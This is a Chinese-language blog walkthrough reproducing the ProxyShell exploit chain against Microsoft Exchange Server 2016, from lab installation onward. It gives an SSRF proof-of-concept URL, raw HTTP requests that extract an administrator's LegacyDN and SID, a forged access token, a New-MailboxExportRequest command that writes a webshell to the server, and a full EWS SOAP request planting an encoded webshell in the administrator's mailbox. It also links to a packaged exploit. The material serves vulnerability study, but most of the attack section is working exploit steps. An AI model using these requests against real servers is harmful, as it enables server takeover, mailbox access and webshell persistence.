声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x1 参考链接
https://blog.csdn.net/qq_41874930/article/details/120037619
https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
https://www.4hou.com/posts/8Wp2
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://blog.csdn.net/HBohan/article/details/119980748
后续的其他利用:(我还没做复现,先鸽着吧,有哪位大佬复现了踹我一脚)
https://www.4hou.com/search-post?keywords=proxyshell
本文使用到的exp和相关代码全都打包到这了:
https://github.com/yisaditatimi/ProxyShell
0x2 漏洞说明
(学术剽窃)
proxyshell利用链由下述三个cve组成:
— CVE-2021-34473 - 一个ssrf漏洞
— CVE-2021-34523 - Exchange PowerShell BackEnd提权
— CVE-2021-31207 - 认证后任意文件写入漏洞
参考:
https://blog.csdn.net/qq_41874930/article/details/120037619
SSRF
这个攻击是从利用一个SSRF漏洞开始的,该漏洞是由于一些奇怪的URI解析造成的路径混乱所致。
PowerShell端点
然后,通过访问内部网络,我们可以尝试访问/powershell端点,从而实现与Exchange PowerShell之间的通信。请注意,由于Exchange的Powershell环境的缘故,我们可以运行的命令是非常有限的。
通过利用SSRF漏洞,我们就能以NT Authroity/System的身份来访问/powershell端点。这在正常情况下是没有问题的,但在这种情况下,由于无法识别,因此无法通过身份验证。因此,我们需要降低我们的权限来获得对端点的访问权限。
该端点需要一个名为X-CommonAccessToken的HTTP头部,但Exchange不会将这个头部转发到内部后端服务器。所以我们通过另一种方式获得令牌:通过提供一个名为X-Rps-CAT的GET参数,其中存放令牌内容;之后,它将被反序列化并添加为X-CommonAccessToken。
执行PowerShell命令
有了验证自己身份的方法,我们就可以更进一步,尝试实现代码执行。正如我之前所说,由于当前环境下会受到各种限制,因此,我们可以利用的东西很少。但是,却存在这样一个命令:通过它,我们能够在机器的任何位置写入文件……但是,文件只能是PST格式。
但是,PST文件并不是把所有的内容都放以明文形式存放,相反,该格式会将文件内容进行编码,这在微软的官方文件中是有介绍的。
所以,我们可以先对payload进行编码,然后,在生成并被编码PST文件时,会对payload再次进行编码,这将使最终结果保持不变。
同时,因为我们可以提供一个网络共享,这意味着我们可以直接告诉Exchange导出文件到\127.0.0.1\C$\pathto\shell。这个webshell虽然不是很优雅,但的确能用。
但在这之前,我们需要让我们控制的用户拥有导出邮件的权限。为此,我们需要借助于New-ManagementRoleAssignment,我们可以通过它把邮箱导入导出的角色分配给用户。
发送Payload
解决了这个问题后,我们就可以设法发送有效载荷。由于我们将利用New-MailExportRequest,所以,我们需要向要导出的邮箱里发送一封包含有效载荷的邮件。
我发现,有两种方法可以解决这个问题。其中,一种方法是Orange使用的方法,发送一封邮件到地址,然后导出它。另一种方法,是Peter和Jang在Peter的博客中提出的方法:使用EWS来冒充用户,并将包含有效负载的草稿保存为附件。
总结
ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。
0x3 环境安装
注:exchange非法卸载重装时出现的不一致问题解决方法 https://www.pianshen.com/article/5694569441/
这里我用系统环境是windows server2012 R2,
exchange是Exchange Server 2016 CU18 内部版本号为:15.1.2106.2
首先,我没在这台server2012上装域控,我只是将这台机子加入到域中,然后在这台机子上装exchange,所以这里没安装AD目录的过程。
(部署域控和加入域的操作详情见:
https://blog.csdn.net/xiezuoyong/article/details/9446747
https://blog.csdn.net/xiezuoyong/article/details/9447881
)
exhange下载链接:
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=102114
首先,我们需要完成加入域的操作,然后再走下面的流程
①安装各种组件
Install-WindowsFeature Server-Media-Foundation, NET-Framework-45-Features, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, Web-Mgmt-Console, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS
②按顺序安装下面的东西,然后重启,就可以执行exchang安装程序了。
注:下面两个安装包别选中文,选英文的。
Microsoft Unified Communications Managed API 4.0 Core Runtime(64 位)
https://download.microsoft.com/download/2/C/4/2C47A5C1-A1F3-4843-B9FE-84C0032C61EC/UcmaRuntimeSetup.exe
C++ 依赖包
https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x64.exe
③安装exchange
运行setup.exe
然后就是会检查先决条件,如果没问题就直接按照就完事了,出现警告不用管,出现错误就按照给的提示去解决。
经过漫长的安装过程,最后安装成功,这时候直接访问url就能看到exchange的页面了。到这里已经算安装成功了。
0x4 SSRF(CVE-2021-34473)
漏洞原理
https://blog.csdn.net/qq_41874930/article/details/120037619
整个代码逻辑如下
• 系统会判断用户输入的url的path部分是不是autodiscover.json结尾,如果是则将email(一个用户的可控参数,值必须包含有效的email)赋值给explicitLogonAddress。
• 如果用户输入的uri结尾不是autodiscover.json,则在用户输入的url中从头开始删除掉跟email的值一样的部分。然后将这部分作为要传给后端的url。
• 因此我们可以构造一个类似于https://192.168.0.103/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com的poc进行验证,且最终传递给后端的url为:https://192.168.0.103:444/mapi/nspi/。
这里做个分析:
PS:把Email参数放到Cookie中一样生效。
漏洞复现
直接访问mapi/nspi要求登录验证
使用payload ssrf访问则直接通过验证。
0x5 Exchange PowerShell BackEnd提权 (CVE-2021-34523)
漏洞原理
(学术剽窃)
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://blog.csdn.net/qq_41874930/article/details/120037619
总结如下
Exchange PowerShell Remoting是一个基于WSMan协议的一个服务,他可以执行一些特定的powershell命令,实现的功能有发邮件、读邮件、更新配置文件等,使用的前提是使用者需具有邮箱,可是如果我们利用前面的ssrf漏洞来使用system用户的身份使用此服务的话就会失败,原因是system用户是没有邮箱的。因此我们首当其冲的是
获取一个有权限的令牌这样才能调用powershell接口。
当我们使用SSRF访问内部网络的powershell接口时,如果请求头不包含X-CommonAccessToken的话,exchange就会尝试去获取GET参数X-Rps-CAT的值,然后再进行反序列化来创建一个Token令牌,这就是我们用于访问powershell接口的令牌。所以我们现在只需要知道这个令牌的生成方式,就能够伪造任意用户来和exchange powershell交互执行任意命令了。
而这个CommonAccessToken的组成方式还比较复杂
简单的例子:
VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBZGXEhlYWx0aE1haWxib3g3ZjRiOTM1VS1TLTEtNS0yMS0xOTU2NzE2NjYxLTMwNzcyMTY4MjctMzc2OTU5MzkzLTExMzVHBgAAAAcAAAAsUy0xLTUtMjEtMTk1NjcxNjY2MS0zMDc3MjE2ODI3LTM3Njk1OTM5My01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAIUy0xLTE4LTFFAAAAAA==
总之,在生成token的过程中,我们只需要去获取指定用户的sid就能够伪造token了。
漏洞复现
首先,我们需要一个目标,这里我们的目标用户就是域管administrator,接着想要获取它的sid
首先我们需要获取LegacyDn(想要获取域名,我们可以通过往RPC接口发送指定内容)
POST /autodiscover/autodiscover.json?a=test@qq.com/autodiscover/autodiscover.xml HTTP/1.1
Host:192.168.152.111
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:320
Content-Type:text/xml
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>administrator@ruyue.com</EMailAddress><AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request></Autodiscover>
然后通过LegacyDn获取sid(这里需要在包体后面填充空字节)
POST /autodiscover/autodiscover.json?a=test@qq.com/mapi/emsmdb HTTP/1.1
Host:192.168.152.111
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:149
Content-Type:application/mapi-http
X-Requesttype:Connect
X-Clientapplication:Outlook/15.0.4815.1002
X-Requestid:x
/o=First Organization/ou=Exchange Administrative Group(FYDIBOHF23SPDLT)/cn=Recipients/cn=f2e19872bf634b09b5b25fdc463455fb-Admin
拿到sid后,我们接下来使用exp去计算这个token值
现在已经成功获取到了token,然后我们该测试下这个token是否能用,直接用上它去访问powershell接口
如图,回显200代表成功,如果401的话就得找找问题了。
0x6 认证后任意文件写入漏洞(CVE-2021-31207 )
漏洞原理
漏洞利用链的最后一部分是使用 Exchange PowerShell 来写webshell。 这并不困难,因为我们是管理员,并且可以利用数百个命令。 在这里我们找到了命令 New-MailboxExportRequest,将用户的邮箱导出到指定路径。
New-MailboxExportRequest -Mailbox test@ruyue.com -FilePath \127.0.0.1\C$\path\shell.aspx
#将 test@ruyue.com的邮箱导出到目标路径
但是因为这个命令是将用户邮箱内容导出到指定路径的,而邮箱是没有纯文本格式的,而这里它导出的格式是outlook个人文件夹(PST)格式,而通过微软官方文档,得知
PST 只是使用简单的置换编码 (NDB_CRYPT_PERMUTE) 来编码我们的有效载荷(这种类似异或加密,因此加密后再进行一次加密等于没变化)。 所以我们可以在发送之前对有效载荷进行编码,当服务器尝试保存和编码我们的有效载荷时,它会将其转换为原始恶意代码。 所以我们只需要往指定账号发送一个处理过后的邮箱再将邮箱导出到本地就能getshell了。
但这里还存在一个问题,调用exchange powershell的协议并非http协议,而是WsMan协议,这是一种基于
HTTP与SOAP XML的协议。这里我们可以利用Python库PyPSRP来完成相应的工作。
漏洞复现
上面原理中已经讲的较清楚了,主要就是先向目标账号发送一个经加密后的webshell邮件,然后再调用exchang powershell将文件写到本地。
首先,我们先对webshell进行处理
接着开始伪造邮件,将webshell发送给目标账号。我们这里直接调用内部接口,将一个含webshell的文件直接添加到目标的草稿箱中
POST /autodiscover/autodiscover.json?a=test@qq.com/EWS/exchange.asmx/?X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBdhZG1pbmlzdHJhdG9yQHJ1eXVlLmNvbVUsUy0xLTUtMjEtMjk1NTg1OTg3My05MDgyNzE1OTItMTk3NTEyMTI1Ni01MDBHAQAAAAcAAAAMUy0xLTUtMzItNTQ0RQAAAAA=HTTP/1.1
Host:192.168.152.111
Cookie:Email=autodiscover/autodiscover.json?a=test@qq.com
Content-Length:1413
Content-Type:text/xml
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016"/>
<t:SerializedSecurityContext>
<t:UserSid>S-1-5-21-2955859873-908271592-1975121256-500</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject>aomenshoujiaxianshangduchang</t:Subject>
<t:Body BodyType="HTML">hello fromdarkness side</t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name>FileAttachment.txt</t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
<t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoI5uanf2jmp1mlU041pqRT/FIb32tld9wZUFLfTBjm5qd/aKSDTqQ2MyenapanNjL7aXPfa1hR+glSNDYIPa4L3BtapXdqCyTEhlfvWVIa3aRTZ</t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>administrator@ruyue.com</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
最后就是调用exchange powershell接口,将邮件保存到本地中,这里就涉及到WsMan协议了,用脚本跑即可